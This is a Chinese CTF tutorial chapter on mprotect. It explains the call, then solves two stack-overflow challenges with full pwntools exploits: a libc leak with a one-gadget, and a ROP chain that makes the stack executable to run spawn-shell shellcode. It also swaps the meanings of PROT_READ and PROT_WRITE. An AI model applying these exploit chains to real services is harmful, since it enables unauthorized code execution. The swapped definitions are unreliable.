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267 lines
9.9 KiB
Markdown
267 lines
9.9 KiB
Markdown
# 4.11 利用 mprotect 修改栈权限
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- [mprotect 函数](#mprotect-函数)
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- [参考资料](#参考资料)
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## mprotect 函数
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mprotect 函数用于设置一块内存的保护权限（将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值），函数原型如下所示：
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```
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#include <sys/mman.h>
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int mprotect(void *addr, size_t len, int prot);
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```
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- prot 的取值如下，通过 `|` 可以将几个属性结合使用（值相加）：
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- PROT_READ：可写，值为 1
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- PROT_WRITE：可读， 值为 2
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- PROT_EXEC：可执行，值为 4
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- PROT_NONE：不允许访问，值为 0
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需要注意的是，指定的内存区间必须包含整个内存页（4K），起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。
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如果执行成功，函数返回 0；如果执行失败，函数返回 -1，并且通过 errno 变量表示具体原因。错误的原因主要有以下几个：
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- EACCES：该内存不能设置为相应权限。这是可能发生的，比如 mmap(2) 映射一个文件为只读的，接着使用 mprotect() 修改为 PROT_WRITE。
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- EINVAL：start 不是一个有效指针，指向的不是某个内存页的开头。
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- ENOMEM：内核内部的结构体无法分配。
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- ENOMEM：进程的地址空间在区间 [start, start+len] 范围内是无效，或者有一个或多个内存页没有映射。
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当一个进程的内存访问行为违背了内存的保护属性，内核将发出 SIGSEGV（Segmentation fault，段错误）信号，并且终止该进程。
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## 例题
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例题来自 2020 安网杯，pwn1 是相对简单对栈溢出，pwn2 在此基础上增加了 mprotect 的运用，同时还是一个静态编译的程序。[下载地址](../src/others/4.11_mprotect)
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先来看 pwn1，这是一个 64 位的动态链接程序，开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。
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```
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$ file pwn1
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pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
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$ pwn checksec pwn1
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Arch: amd64-64-little
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RELRO: Partial RELRO
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Stack: No canary found
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NX: NX enabled
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PIE: No PIE (0x400000)
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```
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主函数 main() 先调用 write() 打印字符串，然后进入存在栈溢出漏洞的 vul() 函数，`read(0, &buf, 0x100uLL)` 读入最多 0x100 字节到 0x80 大小的缓冲区。
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```
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.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
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.text:0000000000400587 public main
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.text:0000000000400587 main proc near
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.text:0000000000400587 ; __unwind {
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.text:0000000000400587 push rbp
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.text:0000000000400588 mov rbp, rsp
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.text:000000000040058B mov edx, 9 ; n
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.text:0000000000400590 mov esi, offset aWelcome ; "welcome~\n"
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.text:0000000000400595 mov edi, 1 ; fd
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.text:000000000040059A call _write
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.text:000000000040059F call vul
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.text:00000000004005A4 mov eax, 0
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.text:00000000004005A9 pop rbp
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.text:00000000004005AA retn
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.text:00000000004005AA ; } // starts at 400587
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.text:00000000004005AA main endp
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.text:0000000000400566 public vul
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.text:0000000000400566 vul proc near
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.text:0000000000400566
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.text:0000000000400566 buf= byte ptr -80h
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.text:0000000000400566
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.text:0000000000400566 ; __unwind {
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.text:0000000000400566 push rbp
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.text:0000000000400567 mov rbp, rsp
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.text:000000000040056A add rsp, 0FFFFFFFFFFFFFF80h
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.text:000000000040056E lea rax, [rbp+buf]
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.text:0000000000400572 mov edx, 100h ; nbytes
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.text:0000000000400577 mov rsi, rax ; buf
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.text:000000000040057A mov edi, 0 ; fd
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.text:000000000040057F call _read
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.text:0000000000400584 nop
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.text:0000000000400585 leave
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.text:0000000000400586 retn
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.text:0000000000400586 ; } // starts at 400566
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.text:0000000000400586 vul endp
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```
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总体思路就是栈溢出控制返回地址，执行 one-gadget。因此，我们还需要泄漏 libc 地址，程序里有 write() 函数可以利用。exp 如下所示：
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```py
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from pwn import *
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context(os='linux', arch='amd64', log_level='debug')
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io = process('./pwn1')
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elf = ELF('./pwn1')
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libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
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pop_rsi_r15 = 0x400611
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pop_rdi = 0x400613
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write = 0x400595
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payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)
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io.sendlineafter('welcome~\n', payload)
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write_addr = u64(io.recv(8))
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io.recv()
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one_gadget = write_addr - libc.sym['write'] + 0x4527a
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payload = "A"*0x88 + p64(one_gadget)
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io.sendline(payload)
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io.interactive()
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```
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pwn2 是一个 64 位的静态链接程序，开启了 Partial RELRO 和 NX。
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```
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$ file pwn2
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pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
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$ pwn checksec pwn2
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Arch: amd64-64-little
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RELRO: Partial RELRO
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Stack: No canary found
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NX: NX enabled
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PIE: No PIE (0x400000)
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```
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由于静态链接程序的执行不再需要 libc，因此 ret2libc 类型的攻击手段就失效了，需要考虑注入 shellcode，但是又开启了 NX 保护，这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。
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可以在程序里找到关键函数 _dl_make_stack_executable()，该函数内部调用了 `mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)`：
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```
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$ readelf -s pwn2 | grep exec
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635: 0000000000499f70 2296 FUNC LOCAL DEFAULT 6 execute_cfa_program
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639: 000000000049af40 2094 FUNC LOCAL DEFAULT 6 execute_stack_op
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821: 0000000000474730 92 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable
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1831: 00000000006cb168 8 OBJECT GLOBAL DEFAULT 25 _dl_make_stack_executable
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```
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```
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unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
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{
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__int64 v1; // rdx
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_QWORD *v2; // rax
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signed __int64 v3; // rdi
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_QWORD *v4; // rbx
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unsigned int result; // eax
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v1 = *a1;
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v2 = a1;
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v3 = *a1 & -(signed __int64)dl_pagesize;
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if ( v1 != _libc_stack_end )
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return 1;
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v4 = v2;
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result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
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if ( result )
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return __readfsdword(0xFFFFFFD0);
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*v4 = 0LL;
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dl_stack_flags |= 1u;
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return result;
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}
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```
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构造方法是在进入 _dl_make_stack_executable 函数之前，将全局变量 _stack_prot 设置为 7（可读可写可执行），同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示：
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```
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gef➤ x/gx $rsp-0x10
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0x7ffef00bbb08: 0x4141414141414141
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0x7ffef00bbb10: 0x4141414141414141
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0x7ffef00bbb18: 0x00000000004015e7 # pop rsi ; ret
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0x7ffef00bbb20: 0x0000000000000007 # rwx
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0x7ffef00bbb28: 0x00000000004014c6 # pop rdi ; ret
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0x7ffef00bbb30: 0x00000000006c9fe0 # __stack_prot
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0x7ffef00bbb38: 0x000000000047a3b2 # mov [rdi], rsi
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0x7ffef00bbb40: 0x00000000004014c6 # pop rdi ; ret
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0x7ffef00bbb48: 0x00000000006c9f90 # __libc_stack_end
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0x7ffef00bbb50: 0x0000000000474730 # _dl_make_stack_executable
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0x7ffef00bbb58: 0x00000000004009e7 # vul
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```
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调用 mprotect 前：
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```
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0x474754 <_dl_make_stack_executable+36> add BYTE PTR [rbx+0x48], dl
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0x474757 <_dl_make_stack_executable+39> mov ebx, eax
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→ 0x474759 <_dl_make_stack_executable+41> call 0x43fd00 <mprotect>
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↳ 0x43fd00 <mprotect+0> mov eax, 0xa
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0x43fd05 <mprotect+5> syscall
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0x43fd07 <mprotect+7> cmp rax, 0xfffffffffffff001
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mprotect (
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$rdi = 0x00007ffef00bb000 → 0x0000000000000000,
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$rsi = 0x0000000000001000,
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$rdx = 0x0000000000000007
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)
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gef➤ vmmap
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[ Legend: Code | Heap | Stack ]
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Start End Offset Perm Path
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0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
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0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
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0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
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0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
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0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
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0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
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0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
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0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
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```
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调用 mprotect 后，可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了：
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```
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gef➤ vmmap
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[ Legend: Code | Heap | Stack ]
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Start End Offset Perm Path
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0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
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0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
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0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
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0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
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0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw-
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0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
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0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw-
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0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
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0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
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0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
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```
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接下来程序跳到 vul 函数，读入 shellcode 到栈上并执行，即可获得 shell。exp 如下所示：
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```py
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from pwn import *
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context(os='linux', arch='amd64', log_level='debug')
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io = process('./pwn2')
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elf = ELF('./pwn2')
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vul = 0x4009E7
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write = 0x4009DD
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pop_rdi = 0x4014c6
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pop_rsi = 0x4015e7
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pop_rdx = 0x442626
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jmp_rsi = 0x4a3313
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mov_rdi_esi = 0x47a3b3
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payload = "A"*0x88
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payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
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payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
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payload += p64(vul)
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io.sendlineafter('welcome~\n', payload)
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shellcode = asm(shellcraft.sh())
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payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)
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io.sendline(payload)
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io.interactive()
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```
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## 参考资料
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